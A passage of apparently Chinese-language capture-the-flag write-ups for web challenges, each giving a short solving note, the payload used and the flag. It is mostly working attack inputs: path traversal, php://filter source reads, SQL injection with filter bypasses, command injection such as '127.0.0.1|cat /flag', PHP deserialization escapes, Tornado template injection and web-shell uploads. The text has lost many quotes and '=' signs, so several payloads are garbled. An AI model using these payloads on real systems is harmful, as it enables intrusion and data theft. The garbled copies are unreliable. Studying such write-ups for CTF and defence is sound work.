[HCTF 2018]WarmUp查看前端源码访问source.php传一个白名单中的文件名/source.php?filehint.php得知flag在ffffllllaaaagggg文件中只是不知道这个文件的位置一层层找就行了。payload/source.php?filehint.php?./../../../../ffffllllaaaaggggCTF2{867b6e9d-9321-4f61-bbbb-57d0f93e3b4a}[ACTF2020 新生赛]Include点击tipsurl中出现了/?fileflag.php结合题目标题中的include所以猜测flag在flag.php文件中只不过被注释了需要想办法得到这个文件的源码。payload/?filephp://filter/readconvert.base64-encode/resourceflag.phpbase64解密PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL0NURjJ7MjcwZDJjZjYtOTA4Zi00Nzk0LTk3M2YtM2NjZTZmMmI2NGUzfQoCTF2{270d2cf6-908f-4794-973f-3cce6f2b64e3}[极客大挑战 2019]EasySQLadmin 1 or 11 #CTF2{bb29ad8b-a8d3-4fa8-a5a0-8c6c64a1dada}[ACTF2020 新生赛]Exec127.0.0.1|ls /127.0.0.1|cat /flagCTF2{0249a8ed-64db-4fbd-a691-49da5fcd9ee0}[极客大挑战 2019]Havefun查看前端源码payload/?catdogCTF2{7d59e3fd-0af1-4437-b4ee-16a50dadbd1b}[极客大挑战 2019]LoveSQL1 or 11 # 1登录成功后尝试在url上进行sql注入1%27order by 3%231%27union select 1,2,3%231%27union select 1,database(),3%231%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schemageek%231%27union select 1,2,group_concat(column_name) from information_schema.columns where table_schemageek and table_namel0ve1ysq1%231%27union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23CTF2{b04b5839-de53-4d26-b347-09620afa172d}[强网杯 2019]随便注过滤内容1;show tables;1;show columns from words;1;show columns from 1919810931114514;flag应该就在这个数字表中需要想办法查看表中的内容。方法1绕过select1;prepare hack from concat(s,elect, * from 1919810931114514);execute hack;方法2使用未被过滤的查询命令handler1;handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;方法3利用程序中已经存在的sql语句1 or 11;查询出来的是两个字段的内容说明查询的是words表。所以1;rename table words to wordsNEW;rename table 1919810931114514 to words;alter table words add id int(10) default 123;alter table words change flag data varchar(100);1 or 11;CTF2{f23f87fd-eb4a-40ef-97c7-9bb5ec3561cb}[ASIS 2019]Unicorn shop购买商品4提示只能输入一个字符id和price都不输入直接点击purchase!结合信息可以得知需要输入一个大于1337的Unicode字符来购买商品4ↁCTF2{f9cc8ff1-b9fb-48a8-a3a9-0fca39be428f}[SUCTF 2019]EasySQL后端sql语句$sql select .$post[query].||flag from Flag;方法1*,1方法21;set sql_modPIPES_AS_CONCAT;select 1CTF2{56db5c0b-dccc-4f99-a2d8-e14f55ee2284}[GXYCTF2019]Ping Ping Ping/?ip127.0.0.1/?ip127.0.0.1|ls/?ip127.0.0.1|cat$IFS$1index.php/?ip127.0.0.1|cat$IFS$1ls查看前端源码CTF2{6e81b963-5435-4571-9fcf-735216e547d4}[极客大挑战 2019]Knife蚁剑连接/flagCTF2{f2e6f2a7-90b7-481d-beb2-e56d97fea4d6}[0CTF 2016]piapiapia目录扫描下载www.zip后打开得到flag在config.php中但不可见要想办法读取config.php文件的内容在profile.php中发现file_get_contents文件读取函数读取的是profile中的photo在update.php中得到phone和email有严格的正则要求而photo又不能直接赋值所以只能从nickname入手class.php中定义了一个替换函数主要可供利用的地方是where被替换为hacker增多了一个长度并且这个替换函数应用到了序列化后的update_profile函数和反序列化前的show_profile函数中?php $profile[phone] 12345678901; $profile[email] 1234567890qq.com; $profile[nickname] where; $profile[photo] config.php; echo serialize($profile);正常序列化后的内容为a:4:{s:5:phone;s:11:12345678901;s:5:email;s:17:1234567890qq.com;s:8:nickname;s:5:where;s:5:photo;s:10:config.php;}这其中的;s:5:photo;s:10:config.php;}是要逃逸的字符它的长度为33、需要33个where?php $profile[phone] 12345678901; $profile[email] 1234567890qq.com; $profile[nickname] wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;s:5:photo;s:10:config.php;}; $profile[photo] config.php; $a serialize($profile); $b preg_replace(/where/,hacker,$a); echo $b;结果a:4:{s:5:phone;s:11:12345678901;s:5:email;s:17:1234567890qq.com;s:8:nickname;s:198:hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker;s:5:photo;s:10:config.php;};s:5:photo;s:10:config.php;}33个hacker的长度为198这样要逃逸的字符就成功被吐出来了。而nickname的长度限制可以用数组来绕过先看下传入数组后的序列化?php $profile[phone] 12345678901; $profile[email] 1234567890qq.com; $profile[nickname] array(wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;s:5:photo;s:10:config.php;}); $profile[photo] config.php; $a serialize($profile); echo $a;结果为a:4:{s:5:phone;s:11:12345678901;s:5:email;s:17:1234567890qq.com;s:8:nickname;a:1:{i:0;s:198:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;s:5:photo;s:10:config.php;};}s:5:photo;s:10:config.php;}主要是需要手动添加一个}来闭合前面a:1:{i:0中的{ 也就是说逃逸的字符为331个需要34个where将;}s:5:photo;s:10:config.php;}这34个字符吐出来解题在register.php中发现账号密码有长度限制去到register.php页面账号密码输入1234后点击注册注册成功后返回登录跳转到update.php页面先搞好其它三个再抓包nickname[]wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.php;}放包点击Your Profile查看前端源码将这串b64解密CTF2{b6466ebe-379e-4313-860c-6051aae568d3}[极客大挑战 2019]Upload检查了MIME、图片头过滤了php、?放包http://52b33034566783dce2430777.http-ctf2.dasctf.com/upload/js_pony.phtml蚁剑CTF2{b0a25905-5344-4c44-83fe-6a69063f0c95}[极客大挑战 2019]BabySQL1 1双写绕过1%27ununionion selselectect 1,2,31ununionion selselectect 1,database(),3#1ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schemageek#1ununionion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schemageek aandnd table_nameb4bsql#1ununionion selselectect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql%23CTF2{67c6e55e-9c5e-4d06-a673-c244073c21d6}[极客大挑战 2019]Secret File查看源码访问/Archive_room.php点击SECRET此页面和Archive_room.php页面中的前端源码都没有什么信息而又提示回去再仔细看看抓包SECRETsend重放器查看响应访问secr3t.php文件包含没过滤filter伪协议/secr3t.php?filephp://filter/readconvert.base64-encode/resourceflag.phpbase64解密CTF2{7114f0de-5b4c-4819-a618-b5a47929805c}[护网杯 2018]easy_tornadoflag.txt得知flag在/fllllllllllllag中hint.txt得知filehash的加密逻辑md5(cookie_secretmd5(filename))只差一个cookie_secret不知道结合题目标题在报错页面尝试tornado模版注入{{}}可执行过滤了*等其它内容获取配置字典{{handler.settings}}6df65f8b-d851-441e-a2ef-9ca92e844080import hashlib filename /fllllllllllllag cookie_secret 6df65f8b-d851-441e-a2ef-9ca92e844080 result hashlib.md5((cookie_secrethashlib.md5(filename.encode()).hexdigest()).encode()).hexdigest() print(result)227cfdd53973ab3593838012d6e2e7d2payload/file?filename/fllllllllllllagfilehash227cfdd53973ab3593838012d6e2e7d2CTF2{f700a3bd-a109-499d-9219-de7dc63d3048}[ACTF2020 新生赛]BackupFile目录扫描下载备份文件index.php.bakpayload/?key123CTF2{9723aea2-53cc-415b-ad3b-bf9ca64a7f12}[ACTF2020 新生赛]Upload尝试上传小马弹窗提示限制后缀这种弹窗大概率是前端的限制过滤所以将checkFile()改为true即可也可以在设置中禁用当前页面的js后端过滤了php后缀用phtml代替即可CTF2{d6a563c3-d076-44f7-aea4-1d7b7eeaf63e}[极客大挑战 2019]EasySQL1 1 or 11 #CTF2{7895a856-d89d-4186-afd7-491abecb0e7f}[极客大挑战 2019]PHP目录扫描下载www.zip在class.php中发现需要username等于admin才会输出flag前置条件需要绕过wakeup魔术方法以及password等于100。?php class Name{ private $username admin; private $password 100; } $exp serialize(new Name()); $exp str_replace(:2,:3,$exp); echo urlencode($exp);index.phppayload/index.php?selectO%3A4%3AName%3A3%3A{s%3A14%3A%00Name%00username%3Bs%3A5%3Aadmin%3Bs%3A14%3A%00Name%00password%3Bi%3A100%3B}CTF2{9b1df071-705d-4d24-b8b7-440917e03248}
